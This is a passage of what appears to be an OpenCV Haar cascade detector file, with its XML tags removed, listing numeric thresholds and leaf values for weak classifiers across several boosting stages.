1.1291000060737133e-02 + + -3.6478400230407715e-01 2.2767899930477142e-01 + <_> + + 0 -1 1750 -5.7011000812053680e-02 + + -1.4295619726181030e+00 1.4322000741958618e-01 + <_> + + 0 -1 1751 7.2194002568721771e-02 + + -4.1850000619888306e-02 -1.9111829996109009e+00 + <_> + + 0 -1 1752 -1.9874000921845436e-02 + + 2.6425498723983765e-01 -3.2617700099945068e-01 + <_> + + 0 -1 1753 -1.6692999750375748e-02 + + -8.3907800912857056e-01 4.0799999260343611e-04 + <_> + + 0 -1 1754 -3.9834998548030853e-02 + + -4.8858499526977539e-01 1.6436100006103516e-01 + <_> + + 0 -1 1755 2.7009999379515648e-02 + + -1.8862499296665192e-01 8.3419400453567505e-01 + <_> + + 0 -1 1756 -3.9420002140104771e-03 + + 2.3231500387191772e-01 -7.2360001504421234e-02 + <_> + + 0 -1 1757 2.2833000868558884e-02 + + -3.5884000360965729e-02 -1.1549400091171265e+00 + <_> + + 0 -1 1758 -6.8888001143932343e-02 + + -1.7837309837341309e+00 1.5159000456333160e-01 + <_> + + 0 -1 1759 4.3097000569105148e-02 + + -2.1608099341392517e-01 5.0624102354049683e-01 + <_> + + 0 -1 1760 8.6239995434880257e-03 + + -1.7795599997043610e-01 2.8957900404930115e-01 + <_> + + 0 -1 1761 1.4561000280082226e-02 + + -1.1408000253140926e-02 -8.9402002096176147e-01 + <_> + + 0 -1 1762 -1.1501000262796879e-02 + + 3.0171999335289001e-01 -4.3659001588821411e-02 + <_> + + 0 -1 1763 -1.0971499979496002e-01 + + -9.5147097110748291e-01 -1.9973000511527061e-02 + <_> + + 0 -1 1764 4.5228000730276108e-02 + + 3.3110998570919037e-02 9.6619802713394165e-01 + <_> + + 0 -1 1765 -2.7047999203205109e-02 + + 9.7963601350784302e-01 -1.7261900007724762e-01 + <_> + + 0 -1 1766 1.8030999228358269e-02 + + -2.0801000297069550e-02 2.7385899424552917e-01 + <_> + + 0 -1 1767 5.0524998456239700e-02 + + -5.6802999228239059e-02 -1.7775089740753174e+00 + <_> + + 0 -1 1768 -2.9923999682068825e-02 + + 6.5329200029373169e-01 -2.3537000641226768e-02 + <_> + + 0 -1 1769 3.8058001548051834e-02 + + 2.6317000389099121e-02 -7.0665699243545532e-01 + <_> + + 0 -1 1770 1.8563899397850037e-01 + + -5.6039998307824135e-03 3.2873699069023132e-01 + <_> + + 0 -1 1771 -4.0670000016689301e-03 + + 3.4204798936843872e-01 -3.0171599984169006e-01 + <_> + + 0 -1 1772 1.0108999907970428e-02 + + -7.3600001633167267e-03 5.7981598377227783e-01 + <_> + + 0 -1 1773 -1.1567000299692154e-02 + + -5.2722197771072388e-01 4.6447999775409698e-02 + <_> + + 0 -1 1774 -6.5649999305605888e-03 + + -5.8529102802276611e-01 1.9101899862289429e-01 + <_> + + 0 -1 1775 1.0582000017166138e-02 + + 2.1073000505566597e-02 -6.8892598152160645e-01 + <_> + + 0 -1 1776 -2.0304000005125999e-02 + + -3.6400699615478516e-01 1.5338799357414246e-01 + <_> + + 0 -1 1777 2.3529999889433384e-03 + + 3.6164000630378723e-02 -5.9825098514556885e-01 + <_> + + 0 -1 1778 -1.4690000098198652e-03 + + -1.4707699418067932e-01 3.7507998943328857e-01 + <_> + + 0 -1 1779 8.6449999362230301e-03 + + -2.1708500385284424e-01 5.1936799287796021e-01 + <_> + + 0 -1 1780 -2.4326000362634659e-02 + + -1.0846769809722900e+00 1.4084799587726593e-01 + <_> + + 0 -1 1781 7.4418999254703522e-02 + + -1.5513800084590912e-01 1.1822769641876221e+00 + <_> + + 0 -1 1782 1.7077999189496040e-02 + + 4.4231001287698746e-02 9.1561102867126465e-01 + <_> + + 0 -1 1783 -2.4577999487519264e-02 + + -1.5504100322723389e+00 -5.4745998233556747e-02 + <_> + + 0 -1 1784 3.0205000191926956e-02 + + 1.6662800312042236e-01 -1.0001239776611328e+00 + <_> + + 0 -1 1785 1.2136000208556652e-02 + + -7.7079099416732788e-01 -4.8639997839927673e-03 + <_> + + 0 -1 1786 8.6717002093791962e-02 + + 1.1061699688434601e-01 -1.6857999563217163e+00 + <_> + + 0 -1 1787 -4.2309001088142395e-02 + + 1.1075930595397949e+00 -1.5438599884510040e-01 + <_> + + 0 -1 1788 -2.6420000940561295e-03 + + 2.7451899647712708e-01 -1.8456199765205383e-01 + <_> + + 0 -1 1789 -5.6662000715732574e-02 + + -8.0625599622726440e-01 -1.6928000375628471e-02 + <_> + + 0 -1 1790 2.3475000634789467e-02 + + 1.4187699556350708e-01 -2.5500899553298950e-01 + <_> + + 0 -1 1791 -2.0803000777959824e-02 + + 1.9826300442218781e-01 -3.1171199679374695e-01 + <_> + + 0 -1 1792 7.2599998675286770e-03 + + -5.0590999424457550e-02 4.1923800110816956e-01 + <_> + + 0 -1 1793 3.4160000085830688e-01 + + -1.6674900054931641e-01 9.2748600244522095e-01 + <_> + + 0 -1 1794 6.2029999680817127e-03 + + -1.2625899910926819e-01 4.0445300936698914e-01 + <_> + + 0 -1 1795 3.2692000269889832e-02 + + -3.2634999603033066e-02 -9.8939800262451172e-01 + <_> + + 0 -1 1796 2.1100000594742596e-04 + + -6.4534001052379608e-02 2.5473698973655701e-01 + <_> + + 0 -1 1797 7.2100001852959394e-04 + + -3.6618599295616150e-01 1.1973100155591965e-01 + <_> + + 0 -1 1798 5.4490998387336731e-02 + + 1.2073499709367752e-01 -1.0291390419006348e+00 + <_> + + 0 -1 1799 -1.0141000151634216e-02 + + -5.2177202701568604e-01 3.3734999597072601e-02 + <_> + + 0 -1 1800 -1.8815999850630760e-02 + + 6.5181797742843628e-01 1.3399999588727951e-03 + <_> + + 0 -1 1801 -5.3480002097785473e-03 + + 1.7370699346065521e-01 -3.4132000803947449e-01 + <_> + + 0 -1 1802 -1.0847000405192375e-02 + + -1.9699899852275848e-01 1.5045499801635742e-01 + <_> + + 0 -1 1803 -4.9926001578569412e-02 + + -5.0888502597808838e-01 3.0762000009417534e-02 + <_> + + 0 -1 1804 1.2160000391304493e-02 + + -6.9251999258995056e-02 1.8745499849319458e-01 + <_> + + 0 -1 1805 -2.2189998999238014e-03 + + -4.0849098563194275e-01 7.9954996705055237e-02 + <_> + + 0 -1 1806 3.1580000650137663e-03 + + -2.1124599874019623e-01 2.2366400063037872e-01 + <_> + + 0 -1 1807 4.1439998894929886e-03 + + -4.9900299310684204e-01 6.2917001545429230e-02 + <_> + + 0 -1 1808 -7.3730000294744968e-03 + + -2.0553299784660339e-01 2.2096699476242065e-01 + <_> + + 0 -1 1809 5.1812000572681427e-02 + + 1.8096800148487091e-01 -4.3495801091194153e-01 + <_> + + 0 -1 1810 1.8340000882744789e-02 + + 1.5200000256299973e-02 3.7991699576377869e-01 + <_> + + 0 -1 1811 1.7490799725055695e-01 + + -2.0920799672603607e-01 4.0013000369071960e-01 + <_> + + 0 -1 1812 5.3993999958038330e-02 + + 2.4751600623130798e-01 -2.6712900400161743e-01 + <_> + + 0 -1 1813 -3.2033199071884155e-01 + + -1.9094380140304565e+00 -6.6960997879505157e-02 + <_> + + 0 -1 1814 -2.7060000225901604e-02 + + -7.1371299028396606e-01 1.5904599428176880e-01 + <_> + + 0 -1 1815 7.7463999390602112e-02 + + -1.6970199346542358e-01 7.7552998065948486e-01 + <_> + + 0 -1 1816 2.3771999403834343e-02 + + 1.9021899998188019e-01 -6.0162097215652466e-01 + <_> + + 0 -1 1817 1.1501000262796879e-02 + + 7.7039999887347221e-03 -6.1730301380157471e-01 + <_> + + 0 -1 1818 3.2616000622510910e-02 + + 1.7159199714660645e-01 -7.0978200435638428e-01 + <_> + + 0 -1 1819 -4.4383000582456589e-02 + + -2.2606229782104492e+00 -7.3276996612548828e-02 + <_> + + 0 -1 1820 -5.8476001024246216e-02 + + 2.4087750911712646e+00 8.3091996610164642e-02 + <_> + + 0 -1 1821 1.9303999841213226e-02 + + -2.7082300186157227e-01 2.7369999885559082e-01 + <_> + + 0 -1 1822 -4.4705998152494431e-02 + + 3.1355598568916321e-01 -6.2492001801729202e-02 + <_> + + 0 -1 1823 -6.0334999114274979e-02 + + -1.4515119791030884e+00 -5.8761000633239746e-02 + <_> + + 0 -1 1824 1.1667000129818916e-02 + + -1.8084999173879623e-02 5.0479698181152344e-01 + <_> + + 0 -1 1825 2.8009999543428421e-02 + + -2.3302899301052094e-01 3.0708700418472290e-01 + <_> + + 0 -1 1826 6.5397001802921295e-02 + + 1.4135900139808655e-01 -5.0010901689529419e-01 + <_> + + 0 -1 1827 9.6239997074007988e-03 + + -2.2054600715637207e-01 3.9191201329231262e-01 + <_> + + 0 -1 1828 2.5510000996291637e-03 + + -1.1381500214338303e-01 2.0032300055027008e-01 + <_> + + 0 -1 1829 3.1847000122070312e-02 + + 2.5476999580860138e-02 -5.3326398134231567e-01 + <_> + + 0 -1 1830 3.3055000007152557e-02 + + 1.7807699739933014e-01 -6.2793898582458496e-01 + <_> + + 0 -1 1831 4.7600999474525452e-02 + + -1.4747899770736694e-01 1.4204180240631104e+00 + <_> + + 0 -1 1832 -1.9571999087929726e-02 + + -5.2693498134613037e-01 1.5838600695133209e-01 + <_> + + 0 -1 1833 -5.4730001837015152e-02 + + 8.8231599330902100e-01 -1.6627800464630127e-01 + <_> + + 0 -1 1834 -2.2686000913381577e-02 + + -4.8386898636817932e-01 1.5000100433826447e-01 + <_> + + 0 -1 1835 1.0713200271129608e-01 + + -2.1336199343204498e-01 4.2333900928497314e-01 + <_> + + 0 -1 1836 -3.6380000412464142e-02 + + -7.4198000133037567e-02 1.4589400589466095e-01 + <_> + + 0 -1 1837 1.3935999944806099e-02 + + -2.4911600351333618e-01 2.6771199703216553e-01 + <_> + + 0 -1 1838 2.0991999655961990e-02 + + 8.7959999218583107e-03 4.3064999580383301e-01 + <_> + + 0 -1 1839 4.9118999391794205e-02 + + -1.7591999471187592e-01 6.9282901287078857e-01 + <_> + + 0 -1 1840 3.6315999925136566e-02 + + 1.3145299255847931e-01 -3.3597299456596375e-01 + <_> + + 0 -1 1841 4.1228000074625015e-02 + + -4.5692000538110733e-02 -1.3515930175781250e+00 + <_> + + 0 -1 1842 1.5672000125050545e-02 + + 1.7544099688529968e-01 -6.0550000518560410e-02 + <_> + + 0 -1 1843 -1.6286000609397888e-02 + + -1.1308189630508423e+00 -3.9533000439405441e-02 + <_> + + 0 -1 1844 -3.0229999683797359e-03 + + -2.2454300522804260e-01 2.3628099262714386e-01 + <_> + + 0 -1 1845 -1.3786299526691437e-01 + + 4.5376899838447571e-01 -2.1098700165748596e-01 + <_> + + 0 -1 1846 -9.6760001033544540e-03 + + -1.5105099976062775e-01 2.0781700313091278e-01 + <_> + + 0 -1 1847 -2.4839999154210091e-02 + + -6.8350297212600708e-01 -8.0040004104375839e-03 + <_> + + 0 -1 1848 -1.3964399695396423e-01 + + 6.5011298656463623e-01 4.6544000506401062e-02 + <_> + + 0 -1 1849 -8.2153998315334320e-02 + + 4.4887199997901917e-01 -2.3591999709606171e-01 + <_> + + 0 -1 1850 3.8449999410659075e-03 + + -8.8173002004623413e-02 2.7346798777580261e-01 + <_> + + 0 -1 1851 -6.6579999402165413e-03 + + -4.6866598725318909e-01 7.7001996338367462e-02 + <_> + + 0 -1 1852 -1.5898000448942184e-02 + + 2.9268398880958557e-01 -2.1941000595688820e-02 + <_> + + 0 -1 1853 -5.0946000963449478e-02 + + -1.2093789577484131e+00 -4.2109999805688858e-02 + <_> + + 0 -1 1854 1.6837999224662781e-02 + + -4.5595999807119370e-02 5.0180697441101074e-01 + <_> + + 0 -1 1855 1.5918999910354614e-02 + + -2.6904299855232239e-01 2.6516300439834595e-01 + <_> + + 0 -1 1856 3.6309999413788319e-03 + + -1.3046100735664368e-01 3.1807100772857666e-01 + <_> + + 0 -1 1857 -8.6144998669624329e-02 + + 1.9443659782409668e+00 -1.3978299498558044e-01 + <_> + + 0 -1 1858 3.3140998333692551e-02 + + 1.5266799926757812e-01 -3.0866000801324844e-02 + <_> + + 0 -1 1859 -3.9679999463260174e-03 + + -7.1202301979064941e-01 -1.3844000175595284e-02 + <_> + + 0 -1 1860 -2.4008000269532204e-02 + + 9.2007797956466675e-01 4.6723999083042145e-02 + <_> + + 0 -1 1861 8.7320003658533096e-03 + + -2.2567300498485565e-01 3.1931799650192261e-01 + <_> + + 0 -1 1862 -2.7786999940872192e-02 + + -7.2337102890014648e-01 1.7018599808216095e-01 + <_> + + 0 -1 1863 -1.9455300271511078e-01 + + 1.2461860179901123e+00 -1.4736199378967285e-01 + <_> + + 0 -1 1864 -1.0869699716567993e-01 + + -1.4465179443359375e+00 1.2145300209522247e-01 + <_> + + 0 -1 1865 -1.9494999200105667e-02 + + -7.8153097629547119e-01 -2.3732999339699745e-02 + <_> + + 0 -1 1866 3.0650000553578138e-03 + + -8.5471397638320923e-01 1.6686999797821045e-01 + <_> + + 0 -1 1867 5.9193998575210571e-02 + + -1.4853699505329132e-01 1.1273469924926758e+00 + <_> + + 0 -1 1868 -5.4207999259233475e-02 + + 5.4726999998092651e-01 3.5523999482393265e-02 + <_> + + 0 -1 1869 -3.9324998855590820e-02 + + 3.6642599105834961e-01 -2.0543999969959259e-01 + <_> + + 0 -1 1870 8.2278996706008911e-02 + + -3.5007998347282410e-02 5.3994202613830566e-01 + <_> + + 0 -1 1871 -7.4479999020695686e-03 + + -6.1537498235702515e-01 -3.5319998860359192e-03 + <_> + + 0 -1 1872 7.3770000599324703e-03 + + -6.5591000020503998e-02 4.1961398720741272e-01 + <_> + + 0 -1 1873 7.0779998786747456e-03 + + -3.4129500389099121e-01 1.2536799907684326e-01 + <_> + + 0 -1 1874 -1.5581999905407429e-02 + + -3.0240398645401001e-01 2.1511000394821167e-01 + <_> + + 0 -1 1875 -2.7399999089539051e-03 + + 7.6553001999855042e-02 -4.1060501337051392e-01 + <_> + + 0 -1 1876 -7.0600003004074097e-02 + + -9.7356200218200684e-01 1.1241800338029861e-01 + <_> + + 0 -1 1877 -1.1706000193953514e-02 + + 1.8560700118541718e-01 -2.9755198955535889e-01 + <_> + + 0 -1 1878 7.1499997284263372e-04 + + -5.9650000184774399e-02 2.4824699759483337e-01 + <_> + + 0 -1 1879 -3.6866001784801483e-02 + + 3.2751700282096863e-01 -2.3059600591659546e-01 + <_> + + 0 -1 1880 -3.2526999711990356e-02 + + -2.9320299625396729e-01 1.5427699685096741e-01 + <_> + + 0 -1 1881 -7.4813999235630035e-02 + + -1.2143570184707642e+00 -5.2244000136852264e-02 + <_> + + 0 -1 1882 4.1469998657703400e-02 + + 1.3062499463558197e-01 -2.3274369239807129e+00 + <_> + + 0 -1 1883 -2.8880000114440918e-02 + + -6.6074597835540771e-01 -9.0960003435611725e-03 + <_> + + 0 -1 1884 4.6381998807191849e-02 + + 1.6630199551582336e-01 -6.6949498653411865e-01 + <_> + + 0 -1 1885 2.5424998998641968e-01 + + -5.4641999304294586e-02 -1.2676080465316772e+00 + <_> + + 0 -1 1886 2.4000001139938831e-03 + + 2.0276799798011780e-01 1.4667999930679798e-02 + <_> + + 0 -1 1887 -8.2805998623371124e-02 + + -7.8713601827621460e-01 -2.4468999356031418e-02 + <_> + + 0 -1 1888 -1.1438000015914440e-02 + + 2.8623399138450623e-01 -3.0894000083208084e-02 + <_> + + 0 -1 1889 -1.2913399934768677e-01 + + 1.7292929887771606e+00 -1.4293900132179260e-01 + <_> + + 0 -1 1890 3.8552999496459961e-02 + + 1.9232999533414841e-02 3.7732601165771484e-01 + <_> + + 0 -1 1891 1.0191400349140167e-01 + + -7.4533998966217041e-02 -3.3868899345397949e+00 + <_> + + 0 -1 1892 -1.9068000838160515e-02 + + 3.1814101338386536e-01 1.9261000677943230e-02 + <_> + + 0 -1 1893 -6.0775000602006912e-02 + + 7.6936298608779907e-01 -1.7644000053405762e-01 + <_> + + 0 -1 1894 2.4679999798536301e-02 + + 1.8396499752998352e-01 -3.0868801474571228e-01 + <_> + + 0 -1 1895 2.6759000495076180e-02 + + -2.3454900085926056e-01 3.3056598901748657e-01 + <_> + + 0 -1 1896 1.4969999901950359e-02 + + 1.7213599383831024e-01 -1.8248899281024933e-01 + <_> + + 0 -1 1897 2.6142999529838562e-02 + + -4.6463999897241592e-02 -1.1318379640579224e+00 + <_> + + 0 -1 1898 -3.7512000650167465e-02 + + 8.0404001474380493e-01 6.9660000503063202e-02 + <_> + + 0 -1 1899 -5.3229997865855694e-03 + + -8.1884402036666870e-01 -1.8224999308586121e-02 + <_> + + 0 -1 1900 1.7813000828027725e-02 + + 1.4957800507545471e-01 -1.8667200207710266e-01 + <_> + + 0 -1 1901 -3.4010000526905060e-02 + + -7.2852301597595215e-01 -1.6615999862551689e-02 + <_> + + 0 -1 1902 -1.5953000634908676e-02 + + 5.6944000720977783e-01 1.3832000084221363e-02 + <_> + + 0 -1 1903 1.9743999466300011e-02 + + 4.0525000542402267e-02 -4.1773399710655212e-01 + <_> + + 0 -1 1904 -1.0374800115823746e-01 + + -1.9825149774551392e+00 1.1960200220346451e-01 + <_> + + 0 -1 1905 -1.9285000860691071e-02 + + 5.0230598449707031e-01 -1.9745899736881256e-01 + <_> + + 0 -1 1906 -1.2780000455677509e-02 + + 4.0195000171661377e-01 -2.6957999914884567e-02 + <_> + + 0 -1 1907 -1.6352999955415726e-02 + + -7.6608800888061523e-01 -2.4209000170230865e-02 + <_> + + 0 -1 1908 -1.2763699889183044e-01 + + 8.6578500270843506e-01 6.4205996692180634e-02 + <_> + + 0 -1 1909 1.9068999215960503e-02 + + -5.5929797887802124e-01 -1.6880000475794077e-03 + <_> + + 0 -1 1910 3.2480999827384949e-02 + + 4.0722001343965530e-02 4.8925098776817322e-01 + <_> + + 0 -1 1911 9.4849998131394386e-03 + + -1.9231900572776794e-01 5.1139700412750244e-01 + <_> + + 0 -1 1912 5.0470000132918358e-03 + + 1.8706800043582916e-01 -1.6113600134849548e-01 + <_> + + 0 -1 1913 4.1267998516559601e-02 + + -4.8817999660968781e-02 -1.1326299905776978e+00 + <_> + + 0 -1 1914 -7.6358996331691742e-02 + + 1.4169390201568604e+00 8.7319999933242798e-02 + <_> + + 0 -1 1915 -7.2834998369216919e-02 + + 1.3189860582351685e+00 -1.4819100499153137e-01 + <_> + + 0 -1 1916 5.9576999396085739e-02 + + 4.8376999795436859e-02 8.5611802339553833e-01 + <_> + + 0 -1 1917 2.0263999700546265e-02 + + -2.1044099330902100e-01 3.3858999609947205e-01 + <_> + + 0 -1 1918 -8.0301001667976379e-02 + + -1.2464400529861450e+00 1.1857099831104279e-01 + <_> + + 0 -1 1919 -1.7835000529885292e-02 + + 2.5782299041748047e-01 -2.4564799666404724e-01 + <_> + + 0 -1 1920 1.1431000195443630e-02 + + 2.2949799895286560e-01 -2.9497599601745605e-01 + <_> + + 0 -1 1921 -2.5541000068187714e-02 + + -8.6252999305725098e-01 -7.0400000549852848e-04 + <_> + + 0 -1 1922 -7.6899997657164931e-04 + + 3.1511399149894714e-01 -1.4349000155925751e-01 + <_> + + 0 -1 1923 -1.4453999698162079e-02 + + 2.5148499011993408e-01 -2.8232899308204651e-01 + <_> + + 0 -1 1924 8.6730001494288445e-03 + + 2.6601400971412659e-01 -2.8190800547599792e-01 + <_> + 197 + -3.2772979736328125e+00 + + <_> + + 0 -1 1925 5.4708998650312424e-02 + + -5.4144299030303955e-01 6.1043000221252441e-01 + <_> + + 0 -1 1926 -1.0838799923658371e-01 + + 7.1739900112152100e-01 -4.1196098923683167e-01 + <_> + + 0 -1 1927 2.2996999323368073e-02 + + -5.8269798755645752e-01 2.9645600914955139e-01 + <_> + + 0 -1 1928 2.7540000155568123e-03 + + -7.4243897199630737e-01 1.4183300733566284e-01 + <_> + + 0 -1 1929 -2.1520000882446766e-03 + + 1.7879900336265564e-01 -6.8548601865768433e-01 + <_> + + 0 -1 1930 -2.2559000179171562e-02 + + -1.0775549411773682e+00 1.2388999760150909e-01 + <_> + + 0 -1 1931 8.3025000989437103e-02 + + 2.4500999599695206e-02 -1.0251879692077637e+00 + <_> + + 0 -1 1932 -6.6740000620484352e-03 + + -4.5283100008964539e-01 2.1230199933052063e-01 + <_> + + 0 -1 1933 7.6485000550746918e-02 + + -2.6972699165344238e-01 4.8580199480056763e-01 + <_> + + 0 -1 1934 5.4910001344978809e-03 + + -4.8871201276779175e-01 3.1616398692131042e-01 + <_> + + 0 -1 1935 -1.0414999909698963e-02 + + 4.1512900590896606e-01 -3.0044800043106079e-01 + <_> + + 0 -1 1936 2.7607999742031097e-02 + + 1.6203799843788147e-01 -9.9868500232696533e-01 + <_> + + 0 -1 1937 -2.3272000253200531e-02 + + -1.1024399995803833e+00 2.1124999970197678e-02 + <_> + + 0 -1 1938 -5.5619999766349792e-02 + + 6.5033102035522461e-01 -2.7938000857830048e-02 + <_> + + 0 -1 1939 -4.0631998330354691e-02 + + 4.2117300629615784e-01 -2.6763799786567688e-01 + <_> + + 0 -1 1940 -7.3560001328587532e-03 + + 3.5277798771858215e-01 -3.7854000926017761e-01 + <_> + + 0 -1 1941 1.7007000744342804e-02 + + -2.9189500212669373e-01 4.1053798794746399e-01 + <_> + + 0 -1 1942 -3.7034001201391220e-02 + + -1.3216309547424316e+00 1.2966500222682953e-01 + <_> + + 0 -1 1943 -1.9633000716567039e-02 + + -8.7702298164367676e-01 1.0799999581649899e-03 + <_> + + 0 -1 1944 -2.3546999320387840e-02 + + 2.6106101274490356e-01 -2.1481400728225708e-01 + <_> + + 0 -1 1945 -4.3352998793125153e-02 + + -9.9089699983596802e-01 -9.9560003727674484e-03 + <_> + + 0 -1 1946 -2.2183999419212341e-02 + + 6.3454401493072510e-01 -5.6547001004219055e-02 + <_> + + 0 -1 1947 1.6530999913811684e-02 + + 2.4664999917149544e-02 -7.3326802253723145e-01 + <_> + + 0 -1 1948 -3.2744001597166061e-02 + + -5.6297200918197632e-01 1.6640299558639526e-01 + <_> + + 0 -1 1949 7.1415998041629791e-02 + + -3.0000001424923539e-04 -9.3286401033401489e-01 + <_> + + 0 -1 1950 8.0999999772757292e-04 + + -9.5380000770092010e-02 2.5184699892997742e-01 + <_> + + 0 -1 1951 -8.4090000018477440e-03 + + -6.5496802330017090e-01 6.7300997674465179e-02 + <_> + + 0 -1 1952 -1.7254000529646873e-02 + + -4.6492999792098999e-01 1.6070899367332458e-01 + <_> + + 0 -1 1953 -1.8641000613570213e-02 + + -1.0594010353088379e+00 -1.9617000594735146e-02 + <_> + + 0 -1 1954 -9.1979997232556343e-03 + + 5.0716197490692139e-01 -1.5339200198650360e-01 + <_> + + 0 -1 1955 1.8538000062108040e-02 + + -3.0498200654983521e-01 7.3506200313568115e-01 + <_> + + 0 -1 1956 -5.0335001200437546e-02 + + -1.1140480041503906e+00 1.8000100553035736e-01 + <_> + + 0 -1 1957 -2.3529000580310822e-02 + + -8.6907899379730225e-01 -1.2459999881684780e-02 + <_> + + 0 -1 1958 -2.7100000530481339e-02 + + 6.5942901372909546e-01 -3.5323999822139740e-02 + <_> + + 0 -1 1959 6.5879998728632927e-03 + + -2.2953400015830994e-01 4.2425099015235901e-01 + <_> + + 0 -1 1960 2.3360000923275948e-02 + + 1.8356199562549591e-01 -9.8587298393249512e-01 + <_> + + 0 -1 1961 1.2946999631822109e-02 + + -3.3147400617599487e-01 2.1323199570178986e-01 + <_> + + 0 -1 1962 -6.6559999249875546e-03 + + -1.1951400339603424e-01 2.9752799868583679e-01 + <_> + + 0 -1 1963 -2.2570999339222908e-02 + + 3.8499400019645691e-01 -2.4434499442577362e-01 + <_> + + 0 -1 1964 -6.3813999295234680e-02 + + -8.9383500814437866e-01 1.4217500388622284e-01 + <_> + + 0 -1 1965 -4.9945000559091568e-02 + + 5.3864401578903198e-01 -2.0485299825668335e-01 + <_> + + 0 -1 1966 6.8319998681545258e-03 + + -5.6678999215364456e-02 3.9970999956130981e-01 + <_> + + 0 -1 1967 -5.5835999548435211e-02 + + -1.5239470005035400e+00 -5.1183000206947327e-02 + <_> + + 0 -1 1968 3.1957000494003296e-01 + + 7.4574001133441925e-02 1.2447799444198608e+00 + <_> + + 0 -1 1969 8.0955997109413147e-02 + + -1.9665500521659851e-01 5.9889698028564453e-01 + <_> + + 0 -1 1970 -1.4911999925971031e-02 + + -6.4020597934722900e-01 1.5807600319385529e-01 + <_> + + 0 -1 1971 4.6709001064300537e-02 + + 8.5239000618457794e-02 -4.5487201213836670e-01 + <_> + + 0 -1 1972 6.0539999976754189e-03 + + -4.3184000253677368e-01 2.2452600300312042e-01 + <_> + + 0 -1 1973 -3.4375999122858047e-02 + + 4.0202501416206360e-01 -2.3903599381446838e-01 + <_> + + 0 -1 1974 -3.4924000501632690e-02 + + 5.2870100736618042e-01 3.9709001779556274e-02 + <_> + + 0 -1 1975 3.0030000489205122e-03 + + -3.8754299283027649e-01 1.4192600548267365e-01 + <_> + + 0 -1 1976 -1.4132999815046787e-02 + + 8.7528401613235474e-01 8.5507996380329132e-02 + <_> + + 0 -1 1977 -6.7940000444650650e-03 + + -1.1649219989776611e+00 -3.3943001180887222e-02 + <_> + + 0 -1 1978 -5.2886001765727997e-02 + + 1.0930680036544800e+00 5.1187001168727875e-02 + <_> + + 0 -1 1979 -2.1079999860376120e-03 + + 1.3696199655532837e-01 -3.3849999308586121e-01 + <_> + + 0 -1 1980 1.8353000283241272e-02 + + 1.3661600649356842e-01 -4.0777799487113953e-01 + <_> + + 0 -1 1981 1.2671999633312225e-02 + + -1.4936000108718872e-02 -8.1707501411437988e-01 + <_> + + 0 -1 1982 1.2924999929964542e-02 + + 1.7625099420547485e-01 -3.2491698861122131e-01 + <_> + + 0 -1 1983 -1.7921000719070435e-02 + + -5.2745401859283447e-01 4.4443000108003616e-02 + <_> + + 0 -1 1984 1.9160000374540687e-03 + + -1.0978599637746811e-01 2.2067500650882721e-01 + <_> + + 0 -1 1985 -1.4697999693453312e-02 + + 3.9067798852920532e-01 -2.2224999964237213e-01 + <_> + + 0 -1 1986 -1.4972999691963196e-02 + + -2.5450900197029114e-01 1.7790000140666962e-01 + <_> + + 0 -1 1987 1.4636999927461147e-02 + + -2.5125000625848770e-02 -8.7121301889419556e-01 + <_> + + 0 -1 1988 -1.0974000208079815e-02 + + 7.9082798957824707e-01 2.0121000707149506e-02 + <_> + + 0 -1 1989 -9.1599998995661736e-03 + + -4.7906899452209473e-01 5.2232000976800919e-02 + <_> + + 0 -1 1990 4.6179997734725475e-03 + + -1.7244599759578705e-01 3.4527799487113953e-01 + <_> + + 0 -1 1991 2.3476999253034592e-02 + + 3.7760001141577959e-03 -6.5333700180053711e-01 + <_> + + 0 -1 1992 3.1766999512910843e-02 + + 1.6364000737667084e-02 5.8723700046539307e-01 + <_> + + 0 -1 1993 -1.8419999629259109e-02 + + 1.9993899762630463e-01 -3.2056498527526855e-01 + <_> + + 0 -1 1994 1.9543999806046486e-02 + + 1.8450200557708740e-01 -2.3793600499629974e-01 + <_> + + 0 -1 1995 4.1159498691558838e-01 + + -6.0382001101970673e-02 -1.6072119474411011e+00 + <_> + + 0 -1 1996 -4.1595999151468277e-02 + + -3.2756200432777405e-01 1.5058000385761261e-01 + <_> + + 0 -1 1997 -1.0335999540984631e-02 + + -6.2394398450851440e-01 1.3112000189721584e-02 + <_> + + 0 -1 1998 1.2392999604344368e-02 + + -3.3114999532699585e-02 5.5579900741577148e-01 + <_> + + 0 -1 1999 -8.7270000949501991e-03 + + 1.9883200526237488e-01 -3.7635600566864014e-01 + <_> + + 0 -1 2000 1.6295000910758972e-02 + + 2.0373000204563141e-01 -4.2800799012184143e-01 + <_> + + 0 -1 2001 -1.0483999736607075e-02 + + -5.6847000122070312e-01 4.4199001044034958e-02 + <_> + + 0 -1 2002 -1.2431999668478966e-02 + + 7.4641901254653931e-01 4.3678998947143555e-02 + <_> + + 0 -1 2003 -5.0374999642372131e-02 + + 8.5090100765228271e-01 -1.7773799598217010e-01 + <_> + + 0 -1 2004 4.9548000097274780e-02 + + 1.6784900426864624e-01 -2.9877498745918274e-01 + <_> + + 0 -1 2005 -4.1085001081228256e-02 + + -1.3302919864654541e+00 -4.9182001501321793e-02 + <_> + + 0 -1 2006 1.0069999843835831e-03 + + -6.0538999736309052e-02 1.8483200669288635e-01 + <_> + + 0 -1 2007 -5.0142999738454819e-02 + + 7.6447701454162598e-01 -1.8356999754905701e-01 + <_> + + 0 -1 2008 -8.7879998609423637e-03 + + 2.2655999660491943e-01 -6.3156999647617340e-02 + <_> + + 0 -1 2009 -5.0170999020338058e-02 + + -1.5899070501327515e+00 -6.1255000531673431e-02 + <_> + + 0 -1 2010 1.0216099768877029e-01 + + 1.2071800231933594e-01 -1.4120110273361206e+00 + <_> + + 0 -1 2011 -1.4372999779880047e-02 + + -1.3116970062255859e+00 -5.1936000585556030e-02 + <_> + + 0 -1 2012 1.0281999595463276e-02 + + -2.1639999467879534e-03 4.4247201085090637e-01 + <_> + + 0 -1 2013 -1.1814000084996223e-02 + + 6.5378099679946899e-01 -1.8723699450492859e-01 + <_> + + 0 -1 2014 7.2114996612071991e-02 + + 7.1846999228000641e-02 8.1496298313140869e-01 + <_> + + 0 -1 2015 -1.9001999869942665e-02 + + -6.7427200078964233e-01 -4.3200000072829425e-04 + <_> + + 0 -1 2016 -4.6990001574158669e-03 + + 3.3311501145362854e-01 5.5794000625610352e-02 + <_> + + 0 -1 2017 -5.8157000690698624e-02 + + 4.5572298765182495e-01 -2.0305100083351135e-01 + <_> + + 0 -1 2018 1.1360000353306532e-03 + + -4.4686999171972275e-02 2.2681899368762970e-01 + <_> + + 0 -1 2019 -4.9414999783039093e-02 + + 2.6694598793983459e-01 -2.6116999983787537e-01 + <_> + + 0 -1 2020 -1.1913800239562988e-01 + + -8.3017998933792114e-01 1.3248500227928162e-01 + <_> + + 0 -1 2021 